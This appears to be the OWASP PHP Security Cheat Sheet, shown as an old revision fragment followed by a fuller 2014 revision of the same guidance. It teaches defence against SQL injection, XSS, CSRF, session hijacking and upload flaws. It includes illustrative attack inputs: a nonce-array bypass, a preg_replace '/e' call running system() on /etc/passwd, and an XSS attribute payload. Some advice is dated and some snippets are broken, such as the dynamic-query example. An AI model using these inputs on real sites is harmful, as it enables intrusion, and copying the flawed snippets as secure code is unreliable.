You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-09-25T07:47:30Z

Luke Plant: /* Exceptions and error handling */

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
